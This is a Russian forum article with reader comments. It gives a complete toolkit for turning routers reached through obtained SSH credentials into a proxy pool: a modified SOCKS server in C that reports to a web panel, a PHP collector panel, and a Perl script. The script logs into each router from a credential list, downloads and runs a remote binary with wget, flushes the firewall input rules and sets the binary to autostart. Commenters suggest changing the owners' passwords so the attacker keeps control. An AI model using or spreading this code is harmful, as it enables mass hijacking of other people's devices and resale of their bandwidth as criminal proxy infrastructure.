В 2010 году, в период тестирования SSH Bruteforce'a одним хорошим человеком, я узнал, что на Европейских диапазонах IP-адресов попадается приличное количество SSH-доступов к всевозможным роутерам. Наиболее частыми среди них оказались роутеры с MIPS-процессором и известной кастомной прошивкой DD-WRT.
Казалось бы, особой пользы с них не извлечь, но ещё тогда был предложен вариант использования их в качестве прокси. До тестирования концепции на тот момент руки не дошли, а сегодня я как раз разбирал старые архивы и решил попробовать собрать рабочий пример под подобный роутер. Благо, у меня валяется парочка таких. Стоит отметить, что поднятие прокси-серверов на роутерах также обладает всем известной спецификой, которая заключается в том, что у провайдеров часто используются динамические IP, поэтому, естественно, прокси-сервер должен сообщать свой текущий IP некой веб-админке.
В качестве прокси-сервера я остановился на Satanic Socks Server: RDot edition, но с самодельной модификацией, которая добавляет периодические веб-запросы к админке, чтобы отслеживать актуальный IP роутера. В этой реализации нет поддержки доступа по паролю (актуально, если вам необходим некий пул прокси, чисто для себя), но в более старых версиях она есть, и любой при желании сможет её добавить. Итак, немного дефайнов:
1 2 3 4 5 6 7 8 9 10 |
//Хост, где будет размещаться агрегатор прокси #define Q_HOST "sample.ru" //Адрес скрипта #define Q_URI "/in.php" //Порт #define Q_PORT 80 //Интервал между обращениями к веб-серверу (мс) #define Q_INTERVAL 5000 //Скелет веб-запроса #define Q_TPL "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" |
Метод, совершающий веб-запросы:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
void * do_request(void * junk) { char * query; SOCKET sock; struct sockaddr_in remote; struct hostent * p; while(1) { usleep(Q_INTERVAL * 1000); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock < 0) { continue; } p = gethostbyname(Q_HOST); if(!p) { continue; } memset(&remote, 0, sizeof(struct sockaddr_in)); remote.sin_family = AF_INET; remote.sin_port = htons(Q_PORT); remote.sin_addr.s_addr = *(unsigned long*)(p->h_addr); if(connect(sock, (struct sockaddr *)&remote, sizeof(struct sockaddr_in)) < 0) { continue; } query = (char *) malloc(sizeof(Q_TPL) + sizeof(Q_HOST) + sizeof(Q_URI)); sprintf(query, Q_TPL, Q_URI, Q_HOST); send(sock, query, strlen(query), 0); close(sock); free(query); } } |
Также необходимо добавить запуск потока в функцию main, который будет выполнять вышеописанную функцию (раз уж в SSS используются потоки).
1 |
pthread_create(&thread, &attr, do_request, NULL); |
Все, измененный код сокс-сервера готов.
Теперь очередь админки. Писать будем на PHP, админка будет очень простой и будет обладать следующими возможностями: запись содержимого REMOTE_ADDR в файл, вывод списка доступных прокси по паролю. Исходный код админки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
<?php error_reporting(0); //Имя файла, где будет храниться список прокси $proxy_file = 'list.txt'; //Порт прокси (прокси поднимают на одинаковом порту) $proxy_port = 11235; //Ключ для доступа к списку прокси $key = md5('123456'); $c_time = time(); //Время, после которого прокси выбрасывается из списка (мс) $life_time = 3600; if(isset($_REQUEST['add'])) { $fh = fopen($proxy_file, 'r+'); if($fh) { $is_present = 0; $proxy_list = array(); flock($fh, LOCK_EX); while(($buffer = trim(fgets($fh, 32))) !== false) { list($ip, $time) = explode(':', $buffer); if($SERVER['REMOTE_ADDR'] == $ip) { $is_present = 1; } if($c_time < $time + $life_time) { $proxy_list[] = "{$ip}:{$time}"; } } ftruncate($fh, 0); if(!$is_present) { fwrite($fh, "{$SERVER['REMOTE_ADDR']}:{$c_time}\n"); } foreach($proxy_list as $proxy) { fwrite($fh, "{$proxy}\n"); } flock($fh, LOCK_UN); fclose($fh); } } else if ( (isset($_REQUEST['pkey']) && !empty($_REQUEST['pkey']) && !is_array($_REQUEST['pkey'])) && (md5($_REQUEST['pkey']) == $key) ) { $fh = fopen($proxy_file, 'r'); if($fh) { flock($fh, LOCK_EX); while(($buffer = trim(fgets($fh, 32))) !== false) { list($ip, $time) = explode(':', $buffer); echo "{$ip}:{$proxy_port}\n"; } flock($fh, LOCK_UN); fclose($fh); } } ?> |
Чтобы файл с прокси не был доступен из веба, следует в директории с пхп-скриптом создать файл .htaccess со следующим содержанием:
1 2 3 4 |
<Files list.txt> order allow,deny deny from all </Files> |
На данном этапе перед нами стоит задача сборки прокси-сервера под MIPS архитектуру и дальнейшая загрузка получившихся бинарников на роутеры, а также прописывание их в автозапуск (вдруг роутер перезагрузится). Для сборки необходимо настроить среду кросс-компиляции. Тут можно пойти двумя путями: либо найти готовый toolchain, либо сделать его самому. Так как мне было лень что-то там собирать, то я просто скачал готовые тулчейны по адресу: ftp://dd-wrt.com/others/sourcecode/toolchains/current-toolchains.tar.bz2 и закинул их на 64-битную виртуальную машину с Ubuntu. Далее я пользовался компилятором из директории toolchain-mipsel_3.3.6*. Компилируется все без особых проблем, поэтому подробно освещать этот аспект не буду. Могут возникнуть проблемы совместимости с некоторыми роутерами, но, в принципе, никто не мешает скомпилировать несколько вариантов бинарников и реализовать несложный алгоритм определения версии прошивки и ядра ОС, а потом загружать соответствующий бинарник.
Теперь напишем простой скрипт, который будет загружать получившийся бинарник на роутер, добавлять его в автозапуск и запускать. Также скрипт будет выполнять ещё несколько полезных команд, которые необходимы, чтобы все нормально работало под DD-WRT. Для работы скрипта нам понадобится модуль Net::SSH::Perl и один из следующих модулей: Math::BigInt::GMP / Math::BigInt::Pari / Math::BigInt::BitVector. Исходный код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
use strict; use warnings; use Net::SSH::Perl; #ip:login:pass my $ifile = 'list.txt'; #Адрес, с которого будет грузиться исполняемый файл my $file_uri = 'http://sample.com/file'; #Имя, под которым загруженный файл будет сохранен my $save_name = 'smth'; #Команда запуска файла my $start_cmd = "./$save_name 'ps'"; $| = 1; my @cmds = ( #Скачиваем файл и сохраняем в /tmp/ 'wget '.$file_uri.' -O /tmp/'.$save_name, #Выставляем права 'chmod +x /tmp/'.$save_name, #Сбрасываем правила фильтрации входящего трафика '/usr/sbin/iptables --flush INPUT', #Запускаем файл '/tmp/'.$start_cmd, #Прописываем в автозапуск '/usr/sbin/nvram set rc_startup="/tmp/'.$start_cmd.'"', '/usr/sbin/nvram commit' ); open F, '<', $ifile or die $!; while(<F>) { chomp(my $line = $_); my($ip, $login, $pass) = split /[:;]/, $line; if($ip && $login && $pass) { my $ssh = Net::SSH::Perl->new($ip, protocol => 2); eval { $ssh->login($login, $pass); }; unless($@) { print '[+]', $login, ':', $pass, $/; $ssh->cmd(join ';', @cmds); } else { print '[-]', $login, ':', $pass, $/; } } else { print 'Malformed line', $/; } } close F; print 'Done', $/; |
Абсолютные пути в массиве @cmds обусловлены особенностью устройства модуля Net::SSH::Perl. При исполнении очередной команды он как бы не дожидается возврата управления консоли и исполняет очередную команду в отдельном "инстансе".
Комплект готов, теперь любой из Вас сможет с пользой утилизировать добытые доступы к роутерам и, может быть, организовать свой сервис по продаже прокси.
Исходные коды: скачать
Эхх, на видео бы это все... печалька =(
а так спасибо Каими
Вот это респект, шикарный материал. Помню, когда Лулзы выкладывали в своем архиве "50 Days of Lulz" список ssh-доступов к нескольким тысячам роутеров, я опрашивал народ, у кого есть готовое решение для их утилизации. Тогда никто не признался )
Спасибо за статью.
"Комплект готов, теперь любой из Вас сможет с пользой утилизировать добытые доступы к роутерам и, может быть, организовать свой сервис по продаже прокси."
С этим можно поспорить. Клиент такого прокси сервиса может и сам попробовать получить доступы к роутерам.
Дополнить командой смены пароля к роутеру.
по беспределу)
Палевно немного, нет? Хотя, наверное, немного пользователей лезут в настройки роутера.
Добавь нового пользователя, запрети руту логиниться с внешнесетевых ip
Если есть такая возможность, то это отлично.
Меня немного печалит, что ты там сильно поддерживаешь скрипт кидди. Выкладывай скрипты, в которых из автоматизации остаётся минимум. Это отсеит кучу школоты, а остальные и сами допилят до своих нужд.
Так будет менее интересно. Статья бы состояла из таких слов:
Можно поюзать роутеры как прокси сервер, захватив SSH доступ и заюзав Satanic Socks Server. А так всё разжёвано, и всё равно мало народу воспользуется этой инфой
(:
ну я ж не говорю выпилить всё. Можно сделать скрипты по проще, например что бы принимали не список ip:port, а только 1 ip:port. Школота быстро устанет, а кому надо, тот допишет 3 строки для автоматизации.
откуда столько ненависти к т.н. школоте? Боитесь, что займут ваши места на фрилансе?
а еще лучше с ошибками, хай реверсят так быстрее разбирутся ага.. =\
mr.The оставь нас в покое падла
+1
На примерах лучше всего учится.
не все такие умные, чтобы самому допилить.
ну вот я об этом и говорил.
сделайте пожалуйста под шеллы,чтобы на них заливал
Вообще классная статья, Кайми спасибо!!!
Тема довольно интересна.
Были мысли по реализации подобного, но почему то до практики не дошло (скорее всего из за малого опыта работы с роутерами в общем).
А сам принцып довольно интересен, и в принцыпе модернизация такого бота может делать много довольво интересных вещей, к примеру хотя бы проводить массовые заражения в нутри сети роутера.
mr.The, судя по орфографическим ошибкам - ты сам-то ещё школу не окончил. как это часто бывает - латентный сам и спалился. :)
Ещё бы. На самом деле, я боялся что Вася из 10-А будет круче меня, модного 11-ти классника.
Что мешает сразу использовать роутер как прокси, создав динамический туннель через ssh?
ssh -D 1080 router_IP
потом в настройках браузера указываете использование Socks прокси с адресом router_IP и портом прокси 1080 и все дела
Что мешает? Ну, вот возможности типового ssh с роутера:
Что предлагаешь писать?
Можно использовать только это:
-R listenport:remotehost:remoteport Remote port forwarding
-L listenport:remotehost:remoteport Local port forwarding
да, не универсально. Но если число сайтов, через которые проксироваться, конечно, то не так уж и гемморно это использовать. Даже можно скрипт написать, который для сайтов динамически это будет делать.
верней так: если число ресурсов К КОТОРЫМ проксироваться конечно
Что-то при запуске на модеме не находит либу:
Can`t load library 'libpthread.so.0'
как лечить?
как скомпилить с этой либой?
-lpthread к компилятору тока компилит с этой либой, но ее не включает
С библиотеками разобрался, а переь прокси запускается но не работает как надо, profifier пишет
[05:58] Testing Started.
Proxy Server
Address: xx.xx.xx.xx:11236
Protocol: SOCKS 5
Authentication: NO
[05:58] Starting: Test 1: Connection to the Proxy Server
[05:58] IP Address: xx.xx.xx.xx
[05:58] Connection established
[05:58] Test passed.
[05:58] Starting: Test 2: Connection through the Proxy Server
[05:58] Warning : the proxy server has returned an unexpected answer (0x0).
[05:58] Error : the proxy server uses unsupported methods or authentication is required.
[05:58] Test failed.
[05:58] Testing Finished.
Что никто не поможет?
Чем помогать? Рассказать, что у меня все работало, а то что никто не мешает добавить в код отладочные сообщения и смотреть что происходит?
ну добавлю я их и как смотреть?
и как добавить я в СИ и линуксе полный 0
Т.е. вопроса с запуском не возникло, а где смотреть непонятно?
Тогда вообще имеет смысл забить, т.к. статья ориентирована на подготовленных людей
Та не вопрос в чем, на линуксе, при компиляции обычным gcc работает, если компилить.
А вот уже в MIPS компиляции вот такая ерунда и как там дебагером на модеме смотреть-то?
Какая связь между дебагером и отладочными сообщениями? Не, если очень хочется, то можно на модем gdb поставить, но я имел в виду поставить printf в интересующих местах и посмотреть что происходит. Также никто не мешает вместо этого всего взять сорцы squid, настроить все как надо, добавить свой код и устанавливать.
Немного выпал из темы, сейчас решил вернуться
я понял где тормозит на мопеде, но почему тормозит хз никаких ошибок не выдает, просто при создании thread не читает из сокета
компилирую под линукс gcc пашет, под mips болт, как можно мониторить дальше ошибки?
буфер TempBuff пустой
и при компиляции выдает:
myprox.c: In function `Socks5Accept':
myprox.c:188: warning: comparison is always true due to limited range of data type
т.е. CMD != 0xFF всегда будет положительна
помогите как сделать рабочий прокс
А кто ж его знает в чем дело, у меня такой проблемы не возникало. Можно тип у CMD поменять на unsigned и посмотреть... В общем gdb в помощь.
А с камими ключами нужно компилировать? может что-то не так при компиляции делаю? unsigned char не помогло
компилю так: ./mips-linux-uclibc-gcc-3.4.2 -static myprox.c -o prx -lpthread
Без понятия, там, где я пробовал, работало as is
а можешь откомпилить и сбросить мне готовый? я на своем модеме попробую
У меня нет настроенной сборочной среды
вот блин засада, как отладить эту байду?
gdb
ну и как gdb юзать на модеме?
Скачать исходный код gdb, собрать под модем, скопировать на модем, юзать
))думаю сам процесс сборки под модем, замет больше времени, чем сделать рабочий прокс)))
пробовал отдельно компилить твою функцию do_requst без прокса, все пашет нормально, модем юзаю свой Glitel GT-5802W
почему прокс нечитает из сокета в thread хрен пойму
да поможет тебе отладчик под модемом
Так я не допонимаю, как его там собрать?
google -> cross-compiling gdb mips
добрый день ! В чем может быть трабла? Can't locate object method "new" via package "Net::SSH::Perl" (perhaps you forgot to load "Net::SSH::Perl"?) at /root/Desktop/skript.pl line 39, line 1.
В том что you forgot to load "Net::SSH::Perl"
А подскажи на какой системе ты ставил модуль Net::SSH::Perl ?
Ubuntu 9.04
Бред
пишет ошибку в 38 строчке как исправить именно , (p.s Net::SSH::Perl установил)
Ясное дело, что никак
знак F